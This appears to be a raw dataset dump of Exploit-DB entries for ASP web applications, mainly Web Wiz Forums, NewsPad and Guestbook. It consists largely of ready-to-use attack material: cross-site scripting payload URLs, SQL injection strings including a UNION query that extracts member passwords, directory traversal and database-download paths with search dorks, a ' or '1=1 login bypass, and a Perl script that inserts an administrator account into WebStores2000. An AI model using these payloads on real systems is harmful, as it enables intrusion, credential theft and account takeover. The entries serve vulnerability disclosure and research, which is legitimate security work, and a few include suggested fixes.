deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32120
Description: Web Wiz Forum 9.5 - 'admin_category_details.asp?mode' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-07-28
Author: CSDT

Exploit:
source: https://www.securityfocus.com/bid/30398/info
 
Web Wiz Forums is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Web Wiz Forums 9.5 is vulnerable; other versions may also be affected.

http://www.example.com/admin_category_details.asp?mode=%3C/textarea%3E&#039;%22%3E%3Cscript%3Ealert(&#039;document.cookie&#039;)%3C/script%3E
Exploit-DB #32119
Description: Web Wiz Forum 9.5 - 'admin_group_details.asp?mode' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-07-28
Author: CSDT

Exploit:
source: https://www.securityfocus.com/bid/30398/info

Web Wiz Forums is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Web Wiz Forums 9.5 is vulnerable; other versions may also be affected.

http://www.example.com/admin_group_details.asp?mode=%3C/textarea%3E&#039;%22%3E%3Cscript%3Ealert(&#039;document.cookie&#039;)%3C/script%3E
Exploit-DB #37678
Description: Web Wiz Forums - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2012-08-25
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/55220/info

Web Wiz Forums is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Web Wiz Forums 10.03 is vulnerable; other versions may also be affected. 

http://www.example.com/forum_members.asp?find=S&ForumID=%22%3E%3Cscript%3Ealert(0);%3C/script%3E

http://www.example.com/forum_members.asp?find=S&ForumID=%22%3E%3Cscript%3Ealert(0);%3C/script%3E

http://www.www.example.com/post_message_form.asp?ForumID=63&mode=new&PagePosition=0&ReturnPage=Thread&ThreadPage="><script>alert(0);</script>&TopicID=57676
Exploit-DB #47284
Description: Web Wiz Forums 12.01 - 'PF' SQL Injection
Type: webapps
Platform: asp
Date: 2019-08-16
Author: n1x_

Exploit:
# Exploit Title: Web Wiz Forums 12.01 - 'PF' SQL Injection
# Date: 2019-09-16
# Exploit Author: n1x_ [MS-WEB]
# Vendor Homepage: https://www.webwiz.net/web-wiz-forums/forum-downloads.htm
# Version: 12.01
# Tested on Windows

# Vulnerable parameter: PF (member_profile.asp)
# GET Request

GET /member_profile.asp?PF=10' HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wwf10lVisit=LV=2019%2D08%2D16+14%3A55%3A50; wwf10sID=SID=1784%2Da7facz6e8757e8ae7b[PII_REDACTED]15; ASPSESSIONIDQACRQTCC=OKJNGKBDFFNFKFDJMFIFPBLD
Connection: close
Upgrade-Insecure-Requests: 1
Exploit-DB #28589
Description: Web Wiz Forums 7.01 - 'members.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-09-15
Author: Crack_MaN

Exploit:
source: https://www.securityfocus.com/bid/20054/info

Web Wiz Forums is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This BID has been retired.


http://www.example.com/[path]/members.asp?SF="><script>alert(1);</script>
Exploit-DB #24214
Description: Web Wiz Forums 7.x - 'Registration_Rules.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-06-15
Author: Ferruh Mavituna

Exploit:
source: https://www.securityfocus.com/bid/10555/info

A vulnerability exists in the Web Wiz Forums software that may allow a remote user to launch cross-site scripting attacks. The problem is reported to exist due to improper sanitizing of user-supplied data passed to the 'registration_rules.asp' script.

An attacker can exploit this issue to steal cookie authentication credentials, or perform other types of attacks.

registration_rules.asp?FID=%22%3E%3Cscript%3Ealert%28%27Vulnerable%2520%21%2
7%29%3C%2Fscript%3E
Exploit-DB #4970
Description: Web Wiz Forums 9.07 - 'sub' Directory Traversal
Type: webapps
Platform: asp
Date: 2008-01-23
Author: BugReport.IR

Exploit:
########################## WwW.BugReport.ir ###########################################
#
#      AmnPardaz Security Research Team
#
# Title: Web Wiz Forums(TM)
# Vendor: http://www.webwizguide.com/
# Bug: Directory traversal
# Vulnerable Version: 9.07
# Exploit: Available
# Fix Available: No! Fast Solution is available.
###################################################################################


####################
- Description:
####################
Web Wiz Forums bulletin board system is the ideal forum package for your website's community. 

####################
- Vulnerability:
####################
Input passed to the FolderName parameter in "RTE_file_browser.asp" and "file_browser.asp" are not properly sanitised before being used. This can be exploited to list directories, list txt and list zip files through directory traversal attacks.
Also, "RTE_file_browser.asp" does not check user's session and an unauthenticated attacker can perform this attack.

-POC:
http://[WebWiz Forum]/RTE_file_browser.asp?look=&sub=\.....\\\.....\\\.....\\\


####################
- Fast Solution :
####################
You can see below lines in "RTE_file_browser.asp" and "file_browser.asp"

	'Stip path tampering for security reasons
	strSubFolderName = Replace(strSubFolderName, "../", "", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, "..\", "", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, "./", "", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, ".\", "", 1, -1, 1)

Only add this to them:
	strSubFolderName = Replace(strSubFolderName, "/", "\", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, "\\", "\", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, "..", "", 1, -1, 1)	

####################
- Credit :
####################
Original Advisory: http://www.bugreport.ir/?/29
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-01-23]
Exploit-DB #35310
Description: Web Wiz Forums 9.5 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2011-03-23
Author: eXeSoul

Exploit:
source: https://www.securityfocus.com/bid/46131/info

Web Wiz Forums is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/default.asp?pid=[SQLi]
http://www.example.com/viewproduct.asp?PID=[SQli]
Exploit-DB #10638
Description: Web Wiz Forums 9.64 - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-24
Author: ViRuSMaN

Exploit:
==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


==============================================================================
        [»] ~ Note : Some forums may change the path of the "database/wwForum.mdb" cause the vulnerability not work
==============================================================================
        [»] Web Wiz Forums v9.64 Remote Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ Web Wiz Forums v9.64 ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ Web Wiz Forums - Free Forum Software - Free Bulletin Board Software ]
    [»] Download:           [ http://www.webwizguide.com/webwizforums/webwizforums_downloads.asp ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com , Sec-r1z.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]
    [»] Dork:               [ Web Wiz Forums® version 9.64 [Free Express Edition] ]

###########################################################################

===[ Exploit ]===

    [»] http://[target].com/[path]/database/wwForum.mdb

Author: ViRuSMaN <-

###########################################################################
Exploit-DB #13788
Description: Web Wiz Forums 9.68 - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-09
Author: Sid3^effects

Exploit:
       =========================================
        Web Wiz Forums 9.68 SQLi  Vulnerability
       =========================================

Name : Web Wiz Forums 9.68 SQLi Vulnerability
Date : june, 9 2010
Vendor url :http://www.webwiz.co.uk/webwizforums/
Platform: Windows
Price:$199
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members.

###############################################################################################################
Description:

FREE ready to run discussion forum application featuring: Fast performance tuned SQL engine, 100's of easy to setup generic features, AD FREE, Unlimited Forums, Sub Forums, Topics, Posts, Members, & Groups, WYSIWYG post editor, web based setup/admin, RSS Feeds, skins, private messenger, calendar system, moderated posts, per forum security settings, unlimited member groups, integrate with existing member base, ladder system, password protect forums, moderators, image/file/avatar upload, search facilities, animated emoticons, avatar gallery, members list, hot topics, powerful admin tools, language files, IP banning, high security, CAPTCHA, Windows Authentication, support for load balanced web servers and web farms, API's, and lots more. FREE SUPPORT!! SQL Server 2000 & 2005 / mySQL 4.1+ & 5+ / MS Access versions.

###############################################################################################################

Xploit: SQLi Vulnerability

DEMO  URL:

       http://site.com/new_reply_form.asp?TID=[SQLi]


###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #7488
Description: Web Wiz Guestbook 8.21 - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-16
Author: Cold Zero

Exploit:
< > =============
< >
< >  Web Wiz Guestbook v8.21 (WWGguestbook.mdb) Remote Database Disclosure Vulnerability
< >
< >  auther : Cold z3ro, www.hackteach.org
< >
< >  http://site.com/[Path]/database/WWGguestbook.mdb
< >
< >  Dork : webwizguestbook_license.asp
< >
< > =============

# milw0rm.com [2008-12-16]
Exploit-DB #10637
Description: Web Wiz NewsPad - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-24
Author: ViRuSMaN

Exploit:
==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


==============================================================================
        [»] ~ Note : Some sites may change the path of the "database/NewsPad.mdb" cause the vulnerability not work
==============================================================================
        [»] Web Wiz NewsPad Remote Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ Web Wiz NewsPad ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ Web Wiz NewsPad - Free eNewsletter Software Download ]
    [»] Download:           [ http://www.webwizguide.com/webwiznewspad/downloads.asp ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com , Sec-r1z.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://[target].com/[path]/database/NewsPad.mdb

Author: ViRuSMaN <-

###########################################################################
Exploit-DB #4972
Description: Web Wiz NewsPad 1.02 - 'sub' Directory Traversal
Type: webapps
Platform: asp
Date: 2008-01-23
Author: BugReport.IR

Exploit:
########################## WwW.BugReport.ir ###########################################
#
#      AmnPardaz Security Research Team
#
# Title: Web Wiz NewsPad(TM)
# Vendor: http://www.webwizguide.com/
# Bug: Directory traversal
# Vulnerable Version: 1.02
# Exploit: Available
# Fix Available: No! Fast Solution is available.
###################################################################################


####################
- Description:
####################
Web Wiz NewsPad is an advanced but easy to use Email Newsletter and Website News Bulletin software.

####################
- Vulnerability:
####################
Input passed to the FolderName parameter in "RTE_file_browser.asp" is not properly sanitised before being used. This can be exploited to list directories, list txt and list zip files through directory traversal attacks.
Also, "RTE_file_browser.asp" does not check user's session and an unauthenticated attacker can perform this attack.

-POC:
http://[WebWiz NewsPad]/RTE_file_browser.asp?look=&sub=\.....\\\.....\\\.....\\\


####################
- Fast Solution :
####################
You can see below lines in "RTE_file_browser.asp"

	'Stip path tampering for security reasons
	strSubFolderName = Replace(strSubFolderName, "../", "", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, "..\", "", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, "./", "", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, ".\", "", 1, -1, 1)

Only add this to them:
	strSubFolderName = Replace(strSubFolderName, "/", "\", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, "\\", "\", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, "..", "", 1, -1, 1)	

####################
- Credit :
####################
Original Advisory: http://www.bugreport.ir/?/30
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-01-23]
Exploit-DB #15544
Description: Web Wiz NewsPad Express Edition 1.03 - Database File Disclosure
Type: webapps
Platform: asp
Date: 2010-11-15
Author: keracker

Exploit:
=============================================================
NewsPad Database Download Vulnerability

=============================================================

#############################################################

#

# Exploit Title: NewsPad Database Download Vulnerability

# Date: 15/11/2010

# Author: keracker

# Software Link: www.webwiz.co.uk/webwiznewspad/downloads.asp

# Tested on: windows

# dork : "NewsPad Admin Login"

# Contact: h4m3d_68@yahoo.com ~ Black.hat.tm@gmail.com

#

############################################################

exploit # www.target.com/path/database/NewsPad.mdb


############################################################

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

      WE ARE BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic ~ keracker
Exploit-DB #4971
Description: Web Wiz Rich Text Editor 4.0 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2008-01-23
Author: BugReport.IR

Exploit:
########################## WwW.BugReport.ir ###########################################
#
#      AmnPardaz Security Research Team
#
# Title: Web Wiz Rich Text Editor(TM)
# Vendor: http://www.webwizguide.com/
# Bug: Directory traversal + HTM/HTML file creation on the server
# Vulnerable Version: 4.0
# Exploit: Available
# Fix Available: No! Fast Solution is available.
###################################################################################


####################
- Description:
####################
Web Wiz Rich Text Editor (RTE) is a free WYSIWYG HTML Rich Text Editor that replaces standard textarea's with an advanced Word style HTMLarea.

####################
- Vulnerability:
####################
Input passed to the FolderName parameter in "RTE_file_browser.asp" is not properly sanitised before being used. This can be exploited to list directories, list txt and list zip files through directory traversal attacks.
Also, "RTE_file_browser.asp" does not check user's session and an unauthenticated attacker can perform this attack.
Moreover, by using "RTE_popup_save_file.asp" attacker can make his/her HTML or HTM file on the server, so this can be used in XSS attacks or making fake pages.

-POC:
http://[WebWiz RTE]/RTE_file_browser.asp?look=save&sub=\.....\\\.....\\\.....\\\.....\\\.....\\\
http://[WebWiz RTE]/RTE_popup_save_file.asp

####################
- Fast Solution :
####################
1- You can see below lines in "RTE_file_browser.asp"

	'Stip path tampering for security reasons
	strSubFolderName = Replace(strSubFolderName, "../", "", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, "..\", "", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, "./", "", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, ".\", "", 1, -1, 1)

Only add this to them:
	strSubFolderName = Replace(strSubFolderName, "/", "\", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, "\\", "\", 1, -1, 1)
	strSubFolderName = Replace(strSubFolderName, "..", "", 1, -1, 1)	
2- Rename "RTE_popup_save_file.asp" till main solution by vendor

####################
- Credit :
####################
Original Advisory: http://www.bugreport.ir/?/31
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-01-23]
Exploit-DB #22487
Description: Web Wiz Site News 3.6 - Information Disclosure
Type: webapps
Platform: asp
Date: 2003-04-14
Author: drG4njubas

Exploit:
source: https://www.securityfocus.com/bid/7341/info

Web Wiz Site News has been reported prone to sensitive information disclosure vulnerability.

An attacker may make a request for and download the underlying Access database file that is used by the Site News appplication. Site News administration credentials contained in the database and stored in plaintext format may be revealed to the attacker.

Information collected in this way may be used to aid in further attacks against the system.

It should be noted that although this vulnerability has been reported to affect Site News version 3.06, previous versions might also be affected.

http://www.example.com/news/news.mdb
Exploit-DB #7861
Description: Web-Calendar Lite 1.0 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-01-25
Author: ByALBAYX

Exploit:
#############################################
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]Script   :Web-Calendar Lite 1.0

[~]Site     :http://www.ewebb.it

[~]Demo     :http://www.ewebb.it/scripts/calendar_V1/index.asp
#############################################

[~]http://www.c4team.org/ [PATH] /calendar_V1/index.asp


[~]Username : ' or '1=1


[~]Password : ' or '1=1

#############################################
[~]횆째횇타inize Baq횆짹n :=)

[~]Greetz For C4TEAM Members
#############################################
Derdimi dinledim, derdimden 횆째횆탑REND횆째M...
Onun derdini g횄쨋rd횄쩌m, derdime 횆째MREND횆째M...
FilistiN
----------

# milw0rm.com [2009-01-25]
Exploit-DB #1930
Description: WeBBoA Host Script 1.1 - SQL Injection
Type: webapps
Platform: asp
Date: 2006-06-19
Author: EntriKa

Exploit:
# There is Sql injection WeBBoA Host Script v1.1
# Risk=High
 
# Exploit:
http://[SITE]/?islem=host_satin_al&id=-1%20%20union%20select%200,1,2,kul_adi,4,5,6,7,sifre%20from%20members+where+uye_id=1
 
# Credit: EntriKa

# milw0rm.com [2006-06-19]
Exploit-DB #34180
Description: webConductor - 'default.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-22
Author: Th3 RDX

Exploit:
source: https://www.securityfocus.com/bid/41042/info

webConductor is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/cs-cms/default.asp?id=70+and+1=0+ Union 2,3,4,5,6,7,8,9,10 (tables & column)
Exploit-DB #23729
Description: WebCortex WebStores2000 - 'error.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-02-18
Author: Nick Gudov

Exploit:
source: https://www.securityfocus.com/bid/9693/info

It has been reported that WebStores2000 is prone to a cross-site scripting vulnerability. This issue is reportedly due to a failure to sanitize user input and so allow HTML and script code that may facilitate cross-site scripting attacks. 

http://www.example.com/error.asp?Message_id=35<script>alert(document.cookie)</script>
Exploit-DB #22698
Description: WebCortex WebStores2000 - SQL Injection
Type: webapps
Platform: asp
Date: 2003-05-31
Author: Bosen

Exploit:
source: https://www.securityfocus.com/bid/7766/info

This vulnerability is reportedly caused by a lack of sufficient sanitization of user-supplied data contained in URI parameters supplied to WebStores2000.

Successful exploitation may allow for modification of the structure of SQL queries, resulting in information disclosure, or database corruption. 

#!/usr/bin/perl -w
#This exploit create user with Mall Admin priv.
#You can login via /MallAdmin/
$pamer = "
1ndonesian Security Team (1st)
==============================
http://bosen.net/releases/

ws2k-ex.pl, WebStore2000 SQL Injection Proof of Concept
Exploit by  : Bosen
Discover by : Bosen
Greetz to   : AresU, TioEuy, syzwz, TioEuy, sakitjiwa, muthafuka
              all #hackers\@centrin.net.id/austnet.org";

use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
$| = 1;
print $pamer;
if ($#ARGV<3){
  print "\n Usage: perl ws2k-ex.pl <uri>\n\n";
  exit;
}
my $legend  = "$ARGV[0]/browse_item_details.asp?Item_ID=";
$legend    .= "''; insert into Mall_Logins values ('bosen','gembel')--";

my $bosen  = LWP::UserAgent->new();
my $gembel = HTTP::Request->new(GET => $legend);
my $dodol  = $bosen->request($gembel);
if ($dodol->is_error()) { printf " %s\n", $dodol->status_line;
} else { print "Alhamdulillah :P\n"; }
print "\n680165\n";